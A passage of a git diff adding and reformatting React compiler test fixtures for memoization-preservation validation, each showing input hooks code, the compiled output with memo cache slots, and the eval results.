+  useOptimistic,
+  useActionState,
+  useRef,
+  useReducer,
+} from 'react';
+
+function useFoo() {
+  const [s, setState] = useState();
+  const ref = useRef(null);
+  const [t, startTransition] = useTransition();
+  const [u, addOptimistic] = useOptimistic();
+  const [v, dispatch] = useReducer(() => {}, null);
+  const [isPending, dispatchAction] = useActionState(() => {}, null);
+
+  return useCallback(() => {
+    dispatch();
+    startTransition(() => {});
+    addOptimistic();
+    setState(null);
+    dispatchAction();
+    ref.current = true;
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import {
+  useCallback,
+  useTransition,
+  useState,
+  useOptimistic,
+  useActionState,
+  useRef,
+  useReducer,
+} from "react";
+
+function useFoo() {
+  const $ = _c(1);
+  const [, setState] = useState();
+  const ref = useRef(null);
+  const [, startTransition] = useTransition();
+  const [, addOptimistic] = useOptimistic();
+  const [, dispatch] = useReducer(_temp, null);
+  const [, dispatchAction] = useActionState(_temp2, null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      dispatch();
+      startTransition(_temp3);
+      addOptimistic();
+      setState(null);
+      dispatchAction();
+      ref.current = true;
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp3() {}
+function _temp2() {}
+function _temp() {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.ts
new file mode 100644
index 000000000000..b8120de3c3cb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-callback-stable-built-ins.ts
@@ -0,0 +1,33 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {
+  useCallback,
+  useTransition,
+  useState,
+  useOptimistic,
+  useActionState,
+  useRef,
+  useReducer,
+} from 'react';
+
+function useFoo() {
+  const [s, setState] = useState();
+  const ref = useRef(null);
+  const [t, startTransition] = useTransition();
+  const [u, addOptimistic] = useOptimistic();
+  const [v, dispatch] = useReducer(() => {}, null);
+  const [isPending, dispatchAction] = useActionState(() => {}, null);
+
+  return useCallback(() => {
+    dispatch();
+    startTransition(() => {});
+    addOptimistic();
+    setState(null);
+    dispatchAction();
+    ref.current = true;
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.expect.md
new file mode 100644
index 000000000000..3625e2a6237d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useRef} from 'react';
+
+function useFoo() {
+  const ref = useRef<undefined | (() => undefined)>();
+
+  return useCallback(() => {
+    if (ref != null) {
+      ref.current();
+    }
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useCallback, useRef } from "react";
+
+function useFoo() {
+  const $ = _c(1);
+  const ref = useRef();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      if (ref != null) {
+        ref.current();
+      }
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.ts
new file mode 100644
index 000000000000..92175ce5bba6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-ref-missing-ok.ts
@@ -0,0 +1,17 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useRef} from 'react';
+
+function useFoo() {
+  const ref = useRef<undefined | (() => undefined)>();
+
+  return useCallback(() => {
+    if (ref != null) {
+      ref.current();
+    }
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.expect.md
new file mode 100644
index 000000000000..3687198df3a9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useTransition} from 'react';
+
+function useFoo() {
+  const [t, start] = useTransition();
+
+  return useCallback(() => {
+    start();
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useCallback, useTransition } from "react";
+
+function useFoo() {
+  const $ = _c(1);
+  const [, start] = useTransition();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      start();
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.ts
new file mode 100644
index 000000000000..a822d68dfc82
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/preserve-use-memo-transition.ts
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useTransition} from 'react';
+
+function useFoo() {
+  const [t, start] = useTransition();
+
+  return useCallback(() => {
+    start();
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.expect.md
new file mode 100644
index 000000000000..8850f869d07b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+function useFoo(cond) {
+  useMemo(() => {
+    if (cond) {
+      return 2;
+    } else {
+      return identity(5);
+    }
+  }, [cond]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+
+## Code
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import { useMemo } from "react";
+import { identity } from "shared-runtime";
+
+function useFoo(cond) {
+  let t0;
+  if (cond) {
+    t0 = 2;
+  } else {
+    t0 = identity(5);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.ts
new file mode 100644
index 000000000000..a79c84823ccc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns-primitive.ts
@@ -0,0 +1,19 @@
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+function useFoo(cond) {
+  useMemo(() => {
+    if (cond) {
+      return 2;
+    } else {
+      return identity(5);
+    }
+  }, [cond]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.expect.md
new file mode 100644
index 000000000000..af959b9865bc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+function useFoo(cond) {
+  useMemo(() => {
+    if (cond) {
+      return identity(10);
+    } else {
+      return identity(5);
+    }
+  }, [cond]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+
+## Code
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import { useMemo } from "react";
+import { identity } from "shared-runtime";
+
+function useFoo(cond) {
+  let t0;
+  if (cond) {
+    t0 = identity(10);
+  } else {
+    t0 = identity(5);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.ts
new file mode 100644
index 000000000000..377293410611
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo-mult-returns.ts
@@ -0,0 +1,19 @@
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+function useFoo(cond) {
+  useMemo(() => {
+    if (cond) {
+      return identity(10);
+    } else {
+      return identity(5);
+    }
+  }, [cond]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.expect.md
new file mode 100644
index 000000000000..228790c4e274
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.expect.md
@@ -0,0 +1,47 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+/**
+ * This is technically a false positive, although it makes sense
+ * to bailout as source code might be doing something sketchy.
+ */
+function useFoo(x) {
+  useMemo(() => identity(x), [x]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [2],
+};
+
+```
+
+## Code
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import { useMemo } from "react";
+import { identity } from "shared-runtime";
+
+/**
+ * This is technically a false positive, although it makes sense
+ * to bailout as source code might be doing something sketchy.
+ */
+function useFoo(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [2],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.ts
new file mode 100644
index 000000000000..95059470add6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/prune-nonescaping-useMemo.ts
@@ -0,0 +1,17 @@
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
+
+/**
+ * This is technically a false positive, although it makes sense
+ * to bailout as source code might be doing something sketchy.
+ */
+function useFoo(x) {
+  useMemo(() => identity(x), [x]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [2],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.expect.md
new file mode 100644
index 000000000000..0ccfd1e43a60
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.expect.md
@@ -0,0 +1,38 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback} from 'react';
+
+function useHook(maybeRef) {
+  return useCallback(() => {
+    return [maybeRef.current];
+  }, [maybeRef]);
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useCallback } from "react";
+
+function useHook(maybeRef) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== maybeRef) {
+    t0 = () => [maybeRef.current];
+    $[0] = maybeRef;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.ts
new file mode 100644
index 000000000000..f2f1c44ec1f5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useCallback-read-maybeRef.ts
@@ -0,0 +1,8 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback} from 'react';
+
+function useHook(maybeRef) {
+  return useCallback(() => {
+    return [maybeRef.current];
+  }, [maybeRef]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.expect.md
new file mode 100644
index 000000000000..7bb7de6ea2a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.expect.md
@@ -0,0 +1,38 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+
+function useHook(maybeRef, shouldRead) {
+  return useMemo(() => {
+    return () => [maybeRef.current];
+  }, [shouldRead, maybeRef]);
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+
+function useHook(maybeRef, shouldRead) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== maybeRef) {
+    t0 = () => [maybeRef.current];
+    $[0] = maybeRef;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.ts
new file mode 100644
index 000000000000..1513065f2cf0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/repro-maybe-invalid-useMemo-read-maybeRef.ts
@@ -0,0 +1,8 @@
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+
+function useHook(maybeRef, shouldRead) {
+  return useMemo(() => {
+    return () => [maybeRef.current];
+  }, [shouldRead, maybeRef]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.expect.md
index a3be4912a194..f23cf84e504f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // Todo: we currently only generate a `constVal` declaration when
 // validatePreserveExistingMemoizationGuarantees is enabled, as the
@@ -27,7 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 import { useMemo } from "react";
 
@@ -40,14 +40,12 @@ function useFoo() {
   const $ = _c(1);
   const constVal = 0;
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = [0];
-    $[0] = t1;
+    t0 = [0];
+    $[0] = t0;
   } else {
-    t1 = $[0];
+    t0 = $[0];
   }
-  t0 = t1;
   return t0;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.ts
index cd6b54e3afcc..bfbc0ab5056a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/todo-ensure-constant-prop-decls-get-removed.ts
@@ -1,6 +1,6 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // Todo: we currently only generate a `constVal` declaration when
 // validatePreserveExistingMemoizationGuarantees is enabled, as the
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.expect.md
index 9aed7e6ab91e..5fceb7ef8161 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { sum } from "shared-runtime";
+import {useCallback} from 'react';
+import {sum} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   const x = propB.x.y;
   return useCallback(() => {
     return sum(propA.x, x);
@@ -15,7 +15,7 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: { x: 2 }, propB: { x: { y: 3 } } }],
+  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.ts
index 2769fccd3dda..be03a9ceaf44 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-alias-property-load-dep.ts
@@ -1,8 +1,8 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { sum } from "shared-runtime";
+import {useCallback} from 'react';
+import {sum} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   const x = propB.x.y;
   return useCallback(() => {
     return sum(propA.x, x);
@@ -11,5 +11,5 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: { x: 2 }, propB: { x: { y: 3 } } }],
+  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.expect.md
index ae0a3992208a..a1cbe89a8834 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.expect.md
@@ -3,13 +3,24 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { Stringify } from "shared-runtime";
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
 
+/**
+ * TODO: we're currently bailing out because `contextVar` is a context variable
+ * and not recorded into the PropagateScopeDeps LoadLocal / PropertyLoad
+ * sidemap. Previously, we were able to avoid this as `BuildHIR` hoisted
+ * `LoadContext` and `PropertyLoad` instructions into the outer function, which
+ * we took as eligible dependencies.
+ *
+ * One solution is to simply record `LoadContext` identifiers into the
+ * temporaries sidemap when the instruction occurs *after* the context
+ * variable's mutable range.
+ */
 function Foo(props) {
   let contextVar;
   if (props.cond) {
-    contextVar = { val: 2 };
+    contextVar = {val: 2};
   } else {
     contextVar = {};
   }
@@ -21,7 +32,7 @@ function Foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
@@ -33,6 +44,17 @@ import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMe
 import { useCallback } from "react";
 import { Stringify } from "shared-runtime";
 
+/**
+ * TODO: we're currently bailing out because `contextVar` is a context variable
+ * and not recorded into the PropagateScopeDeps LoadLocal / PropertyLoad
+ * sidemap. Previously, we were able to avoid this as `BuildHIR` hoisted
+ * `LoadContext` and `PropertyLoad` instructions into the outer function, which
+ * we took as eligible dependencies.
+ *
+ * One solution is to simply record `LoadContext` identifiers into the
+ * temporaries sidemap when the instruction occurs *after* the context
+ * variable's mutable range.
+ */
 function Foo(props) {
   const $ = _c(6);
   let contextVar;
@@ -47,27 +69,25 @@ function Foo(props) {
   } else {
     contextVar = $[1];
   }
-
-  const t0 = contextVar;
-  let t1;
-  if ($[2] !== t0.val) {
-    t1 = () => [contextVar.val];
-    $[2] = t0.val;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== contextVar.val) {
+    t0 = () => [contextVar.val];
+    $[2] = contextVar.val;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
   contextVar;
-  const cb = t1;
-  let t2;
+  const cb = t0;
+  let t1;
   if ($[4] !== cb) {
-    t2 = <Stringify cb={cb} shouldInvokeFns={true} />;
+    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;
     $[4] = cb;
-    $[5] = t2;
+    $[5] = t1;
   } else {
-    t2 = $[5];
+    t1 = $[5];
   }
-  return t2;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.tsx
index 9da433e16373..8447e3960dc5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context-property.tsx
@@ -1,11 +1,22 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { Stringify } from "shared-runtime";
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
 
+/**
+ * TODO: we're currently bailing out because `contextVar` is a context variable
+ * and not recorded into the PropagateScopeDeps LoadLocal / PropertyLoad
+ * sidemap. Previously, we were able to avoid this as `BuildHIR` hoisted
+ * `LoadContext` and `PropertyLoad` instructions into the outer function, which
+ * we took as eligible dependencies.
+ *
+ * One solution is to simply record `LoadContext` identifiers into the
+ * temporaries sidemap when the instruction occurs *after* the context
+ * variable's mutable range.
+ */
 function Foo(props) {
   let contextVar;
   if (props.cond) {
-    contextVar = { val: 2 };
+    contextVar = {val: 2};
   } else {
     contextVar = {};
   }
@@ -17,5 +28,5 @@ function Foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.expect.md
index 6f4039abed30..24b1ee2572cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-captures-reassigned-context.expect.md
@@ -4,8 +4,8 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useCallback } from "react";
-import { makeArray } from "shared-runtime";
+import {useCallback} from 'react';
+import {makeArray} from 'shared-runtime';
 
 // This case is fine, as all reassignments happen before the useCallback
 function Foo(props) {
@@ -45,18 +45,17 @@ function Foo(props) {
   } else {
     x = $[1];
   }
-
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = () => [x];
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = () => [x];
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
   x;
-  const cb = t1;
+  const cb = t0;
+
   return cb;
 }
 
